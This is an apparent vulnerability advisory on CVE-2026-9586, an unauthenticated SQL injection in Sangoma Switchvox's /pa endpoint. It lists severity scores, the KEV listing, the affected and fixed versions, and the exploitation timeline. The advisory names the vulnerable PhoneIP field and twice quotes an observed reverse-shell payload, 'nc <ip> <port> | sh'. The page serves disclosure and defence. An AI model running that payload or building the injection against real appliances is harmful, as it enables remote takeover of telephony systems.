CVE-2026-9586 is an unauthenticated SQL injection in Sangoma Switchvox's /pa endpoint that an attacker can use to run arbitrary PostgreSQL statements and ultimately execute remote code on the VoIP telephony appliance, and a security research firm has since observed real exploitation attempts against internet-exposed Switchvox honeypots.
Vulnerability summary
CVSS base score
9.8
Critical severity
EPSS score (FIRST)
19.0%
Probability of exploitation in the wild in the next 30 days
CISA KEV catalog
Yes
Listed as known exploited
Published
Vulnerability ID: CVE-2026-9586 · Source: NVD
Affected components
| Component | CPE | Version range |
|---|---|---|
| Sangoma Switchvox | cpe:2.3:a:sangoma:switchvox:*:*:*:*:on-premises:*:*:* | 8.2.2.1 through 8.4.0.1 (fixed in 8.4.0.2, released 2026-07-14) |
What does this mean for affected devices?
CVE-2026-9586 is a SQL injection (CWE-89) in Sangoma Switchvox, an on-premises enterprise VoIP telephony management system. NVD's Analyzed description states: "The /pa endpoint processes XML content beginning with
NVD lists a Primary CVSS v3.1 score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); a CNA also submitted a Secondary CVSS v4.0 score of 9.3 (NVD).
Security firm Horizon3, which discovered and reported the issue to Sangoma, published the technical disclosure once it observed real-world exploitation. Its write-up traces the flaw to the tel_notify() handler in PhoneAppsHandler.pm, where the PhoneIP value is parsed out of attacker-supplied XML with "NO VALIDATION" and concatenated directly into a SQL query. Horizon3's disclosure timeline shows it reported the bug on 2026-04-10, Sangoma shipped the fix in Switchvox 8.4.0.2 on 2026-07-14, and on 2026-08-30 "Defused Cyber honeypots trip[ped] with a valid exploitation attempt," with the attacker's first payload fetching and piping a reverse shell (nc <ip> <port> | sh). Horizon3 also cites Shodan data showing roughly 4,000 internet-exposed Switchvox instances, most in the United States (Horizon3 disclosure).
CISA added CVE-2026-9586 to the Known Exploited Vulnerabilities (KEV) catalog on 2026-09-02, with a required-action due date of 2026-09-05; the catalog does not record known ransomware campaign use (CISA KEV).
As of 2026-10-28, FIRST scores the probability of exploitation at 0.1898 (97.292th percentile) — lower than the other KEV advisories on this site, but still in the top 3% of all scored CVEs, consistent with a niche but confirmed-exploited appliance (FIRST EPSS).
Any Switchvox deployment reachable from the public internet on a build before 8.4.0.2 should be upgraded immediately; given the confirmed honeypot exploitation, operators should also review PostgreSQL and application logs for signs of prior compromise.
Evidence
- Unauthenticated SQL injection via the /pa endpoint's unsanitized PhoneIP value lets a remote attacker run arbitrary SQL against the backend PostgreSQL database, including remote code execution. — NVD
- NVD Primary CVSS v3.1 base score is 9.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H; a CNA Secondary CVSS v4.0 score of 9.3 is also on record. — NVD
- Flaw is in PhoneAppsHandler.pm's tel_notify(), fixed in Switchvox 8.4.0.2 (released 2026-07-14); Defused Cyber honeypots recorded a valid exploitation attempt on 2026-08-30; roughly 4,000 Switchvox instances are internet-exposed per Shodan. — Horizon3 disclosure
- Added to the CISA Known Exploited Vulnerabilities catalog on 2026-09-02, required-action due date 2026-09-05. — CISA KEV
- EPSS score is 0.1898 (97.292th percentile) as of 2026-10-28. — FIRST EPSS

Related advisories
Sources
Frequently asked questions
What exactly makes the /pa endpoint in Switchvox vulnerable?
It processes XML content beginning with <PolycomIPPhone> and directly concatenates the user-controlled PhoneIP value into PostgreSQL queries without sanitization or parameterization, letting an unauthenticated remote attacker run arbitrary SQL with a single crafted request (per NVD).
Is CVE-2026-9586 just a database-read issue, or can it lead to full compromise?
It can lead to full compromise. NVD states the attacker can execute arbitrary SQL statements "including database operations and remote code execution," and Horizon3 observed a real exploitation attempt whose first payload fetched and piped a reverse shell (nc <ip> <port> | sh) (per NVD; per Horizon3 disclosure).
How long was the flaw known before it was exploited in the wild?
Horizon3 reported the bug to Sangoma on 2026-04-10, Sangoma shipped the fix in Switchvox 8.4.0.2 on 2026-07-14, and Defused Cyber honeypots recorded a valid exploitation attempt on 2026-08-30 — roughly four and a half months after the initial report (per Horizon3 disclosure).
How many Switchvox instances are exposed to the internet?
Horizon3 cites Shodan data showing roughly 4,000 internet-exposed Switchvox instances, most located in the United States (per Horizon3 disclosure).
Which Switchvox versions are vulnerable and which version fixes it?
Versions 8.2.2.1 through 8.4.0.1 are affected; the fix is 8.4.0.2, released 2026-07-14.
Questions about this page?